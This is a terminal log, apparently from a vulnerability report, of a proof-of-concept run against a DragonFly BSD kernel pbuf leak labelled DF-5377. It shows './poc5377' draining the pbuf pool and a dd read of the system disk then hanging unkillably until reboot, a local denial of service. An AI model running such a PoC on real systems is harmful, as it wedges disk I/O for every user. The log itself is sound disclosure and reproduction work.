# DF-5377 decisive run 2: full pool drain + system-wide raw-I/O wedge
root@dfbsd# ./poc5377 386 drain
[*] 50/386 ... [*] 300/386 cycles, pbuf_mem_count=86 (leaked so far: 300)
[*] 350/386 cycles, pbuf_mem_count=36 (leaked so far: 350)
[*] 386/386 cycles, pbuf_mem_count=0 (leaked so far: 386)
[*] after : vm.pbuf_mem_count=0 (expected 0 = 386-386)
[+] REPRODUCED: exactly one pbuf leaked per cycle, never released
[*] pool drained; raw physio read should now hang forever in getpbuf_mem (wswbuf5).

# subsequent raw physio I/O on the real system disk:
root@dfbsd# dd if=/dev/vbd0 of=/dev/null bs=64k count=1 &
root@dfbsd# ps -o pid,stat,wchan,command -p 841
   PID STAT   WCHAN    COMMAND
   841 D0     wswbuf5  dd if=/dev/vbd0 of=/dev/null bs=64k count=1
# 13+ seconds later, unchanged; kill -9 has no effect (unkillable D state):
   841 D0     wswbuf5
# => every getpbuf_mem() consumer (raw physio I/O: dd/fdisk/growfs/disk
#    label probes on any disk) is permanently wedged until reboot;
#    vm.pbuf_mem_count stays 0 -- the pbufs are never returned.